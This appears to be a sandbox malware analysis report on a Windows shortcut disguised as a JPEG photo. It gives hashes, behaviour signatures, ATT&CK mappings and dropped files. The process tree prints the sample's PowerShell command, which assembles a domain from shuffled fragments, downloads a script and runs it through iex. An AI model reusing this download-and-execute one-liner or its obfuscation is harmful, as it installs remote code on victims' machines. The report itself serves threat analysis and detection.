f0a171075b59659beb614ce675de9611232879443c538eec20cbad0f96018e03

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_013625.jpg.lnk
Size 1KB
Sample260728-mca1tavakd
SHA256 f0a171075b59659beb614ce675de9611232879443c538eec20cbad0f96018e03
MD5 2a924ef1f49b2e99fc76829743188825
SHA1 2b36366736496c7612ab32f1c4f2d8b11a954d46
SHA512 dd4ff681d1a7abe0cf47064c556b7f07f138efe3b1180a1d6b178caade14469f5b51c7c0aff48204c2b0a23ee818f8f59cb0bbab7d6626b1edb0367d9c6dd74a
TLSH
T1A721F12517F20328DABB8B755872631147227A0EDA45CFDF13C082949864120F878F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4868	powershell.exe
9	4868	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2808	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe
4868	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 4868	2808	cmd.exe	91
PID 4868 wrote to memory of 2496	4868	powershell.exe	92
PID 2496 wrote to memory of 5824	2496	csc.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_013625.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reserv','a','photoinst','ynow.s','hop')[0,2,1,3,4] -join $uMf1Q) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gxj4t2tc\gxj4t2tc.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDFDC.tmp" "c:\Users\Admin\AppData\Local\Temp\gxj4t2tc\CSC9DB7E13FD58A473891108543D3B2B3.TMP"
      4⤵
      PID:5824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESDFDC.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESDFDC.tmp
Size 1KB
SHA256 d676b7f26563d2f11139774ba0b0b3863249956ee6e08d89902caec08114d114
MD5 f0d9bf3b7e2af6723ae87a8982d39c6c
SHA1 f04f021b0494f7595a5bb744dd10fe402104e141
SHA512 e61f46d2bdc1fb1623bb8158d8c31fef7eb5e1cec22433a2f6a6c444875dc69d5876234e70b9aec44ad4e9fc1dc337ccdef8d8ff3b9d4e3195a747b18d381057
TLSH
T17E21EF0A93E9471FF0B3473169FA571F9634FC74EFA2935A8440422D2C52504EEE0BB2
MD5 SHA1 SHA512 TLSH

Submit Download

gxj4t2tc.dll

Path C:\Users\Admin\AppData\Local\Temp\gxj4t2tc\gxj4t2tc.dll
Size 3KB
SHA256 93d4cc762a51fa8a0bc68947acca22df1c7655342ced1694b89d9a20d1b6c322
MD5 d52d53e4b9b04c4c8fb142e0f071fbee
SHA1 15d2e0810e1b1b5cd3b2a738f90e99c9155f7e21
SHA512 5e3173f22a1ef71d7b4f66d785b9fe693a9f471f666c4119033a78e43c16f29f32c57bbee2a75686622c163223cd89c8add5f97ba4cc8d6c3ddf7b8616beb0b2
TLSH
T14F51C81A93E8462BE4670730AEF3075727B4F8209FB2A7695D80022DAC61B546E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC9DB7E13FD58A473891108543D3B2B3.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\gxj4t2tc\CSC9DB7E13FD58A473891108543D3B2B3.TMP
Size 652B
SHA256 63ef6b47bf9506d2750060ae60a8779e40e1dd8d5adbdd4101e3e8882dbd4c45
MD5 b1c2ce55827fde514fff0490f19f33d2
SHA1 2dd53a47e0f024c1c82fe0abdc74cdf629720c7d
SHA512 b469ae929813090bfe82a61590617772f1e85237dcb75332d33a295a4a671835a6c2f180f5dc77cf98a37f95e14930d003f3f5c9d86802ac292589a670a8199a
TLSH
T1F7F03A0AA3F8020EF0F34B71B9F6436395A8FC65DE3293ED5890131D28659209962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

gxj4t2tc.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\gxj4t2tc\gxj4t2tc.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

gxj4t2tc.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\gxj4t2tc\gxj4t2tc.cmdline
Size 369B
SHA256 f173856f3ceb11ff8299bd252cc6f338f8d1721faca485a13b61637d4827ce36
MD5 b32912e2a931e27ee13a500c3c3846ea
SHA1 73bc199ad5cd33f4a929e9b96292a00409f4baf5
SHA512 6603efc8ca39f0254cd6e13a20dc4dfc9f77e0ab1caa9df212bd30dcd010566242d09f4b2bfa101772b6a51548f6af7e14e3a0663902e16ff303e59785ef9c00
TLSH
T1EDE0C63B4B86C2BD03ED100B227AC9ACC27207F3298A3F8498C0880DE0270042BD2783
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4868-10-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-9-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-11-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-12-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-13-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-14-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-15-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-16-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-17-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-2-0x00007FFA836AF000-0x00007FFA836B0000-memory.dmp

Download

memory/4868-8-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-30-0x000001E2F0320000-0x000001E2F0328000-memory.dmp

Download

memory/4868-7-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-6-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-5-0x000001E2EFE90000-0x000001E2EFEB2000-memory.dmp

Download

memory/4868-31-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-32-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-33-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download

memory/4868-34-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

Download